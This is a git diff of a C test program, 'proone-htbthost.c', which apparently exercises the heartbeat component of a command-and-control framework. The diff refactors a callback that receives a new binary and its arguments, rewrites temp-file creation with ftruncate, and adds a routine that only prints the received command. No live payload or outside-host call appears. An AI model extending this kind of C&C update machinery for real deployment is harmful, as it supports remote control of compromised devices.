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Diffstat (limited to 'src/proone-htbthost.c')
-rw-r--r--src/proone-htbthost.c61
1 files changed, 32 insertions, 29 deletions
diff --git a/src/proone-htbthost.c b/src/proone-htbthost.c
index 555b9d3..c69fa3d 100644
--- a/src/proone-htbthost.c
+++ b/src/proone-htbthost.c
@@ -50,6 +50,7 @@ static struct timespec proc_start;
static uint8_t instance_id[16];
static char hostcred[255];
static size_t hostcred_len;
+static pth_t main_pth;
static void init_htbthost_param (htbthost_param_t *p) {
p->verify = true;
@@ -107,24 +108,23 @@ static bool cb_hostinfo (prne_htbt_host_info_t *out) {
return true;
}
-static bool cb_ny_bin (
- const char *path,
- const char *m_args,
- const size_t m_args_size)
+static bool cb_ny_bin (const char *path, const prne_htbt_cmd_t *cmd)
{
const size_t path_len = prne_nstrlen(path);
prne_dbgast(path_len > 0);
- if (path_len + 1 > sizeof(m_nybin_path) || m_args_size > sizeof(m_nybin_args)) {
+ if (path_len + 1 > sizeof(m_nybin_path) ||
+ cmd->mem_len > sizeof(m_nybin_args))
+ {
errno = ENOMEM;
return false;
}
memcpy(m_nybin_path, path, path_len + 1);
- memcpy(m_nybin_args, m_args, m_args_size);
- m_nybin_args_size = m_args_size;
+ memcpy(m_nybin_args, cmd->mem, cmd->mem_len);
+ m_nybin_args_size = cmd->mem_len;
- return true;
+ return pth_raise(main_pth, SIGTERM) != 0;
}
static void load_lbd_ssl_conf (
@@ -236,20 +236,9 @@ static bool parse_param (const char *arg) {
static char *mktmpfile (size_t req_size, const mode_t mode) {
static int ctr = 0;
- uint8_t *z = NULL;
- size_t z_size;
- ssize_t consume;
char *path = NULL, *ret = NULL;
int fd = -1, len;
- z_size = prne_getpagesize();
- z = prne_calloc(1, z_size);
- if (z == NULL) {
- z_size = 1;
- z = prne_malloc(1, 1);
- z[0] = 0;
- }
-
len = snprintf(NULL, 0, "htbthost-tmp.%d", ctr);
if (len < 0) {
goto END;
@@ -263,19 +252,14 @@ static char *mktmpfile (size_t req_size, const mode_t mode) {
goto END;
}
- // TODO: Polyfill
fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, mode);
if (fd < 0) {
goto END;
}
fcntl(fd, F_SETFD, FD_CLOEXEC);
- while (req_size > 0) {
- consume = prne_op_min(z_size, req_size);
- if (pth_write(fd, z, consume) != (int)consume) {
- goto END;
- }
- req_size -= consume;
+ if (ftruncate(fd, (off_t)req_size) != 0) {
+ goto END;
}
ret = path;
@@ -287,10 +271,23 @@ END:
}
prne_free(path);
prne_close(fd);
- prne_free(z);
return ret;
}
+static void do_run_ny_bin (void) {
+ for (size_t i = 0; i < m_nybin_args_size; i += 1) {
+ if (m_nybin_args[i] == 0) {
+ m_nybin_args[i] = ' ';
+ }
+ }
+ m_nybin_args[m_nybin_args_size - 1] = 0;
+
+ printf(
+ "ny bin received:\n%s %s\n",
+ m_nybin_path,
+ m_nybin_args);
+}
+
int main (const int argc, const char **args) {
static mbedtls_entropy_context entropy;
@@ -317,7 +314,6 @@ int main (const int argc, const char **args) {
sigaddset(&ss_all, SIGTERM);
sigaddset(&ss_all, SIGINT);
sigaddset(&ss_all, SIGPIPE);
- // sigaddset(&ss_all, SIGCHLD);
sigaddset(&ss_exit, SIGTERM);
sigaddset(&ss_exit, SIGINT);
assert(regcomp(
@@ -367,6 +363,7 @@ int main (const int argc, const char **args) {
mbedtls_debug_set_threshold(1);
pth_init();
+ main_pth = pth_self();
proc_start = prne_gettime(CLOCK_MONOTONIC);
@@ -435,9 +432,10 @@ int main (const int argc, const char **args) {
param.cncp_ssl_conf = &ssl.cncp.conf;
param.ctr_drbg = &rnd;
param.resolv = resolv;
- param.cb_f.tmpfile = mktmpfile;
param.cb_f.cnc_txtrec = cb_txtrec;
param.cb_f.hostinfo = cb_hostinfo;
+ param.cb_f.tmpfile = mktmpfile;
+ param.cb_f.ny_bin = cb_ny_bin;
w = wkr_arr + 1;
htbt = prne_alloc_htbt(w, param);
@@ -479,5 +477,10 @@ int main (const int argc, const char **args) {
regfree(&re_ns4);
regfree(&re_ns6);
+ if (prne_nstrlen(m_nybin_path) > 0) {
+ do_run_ny_bin();
+ return 3;
+ }
+
return 0;
}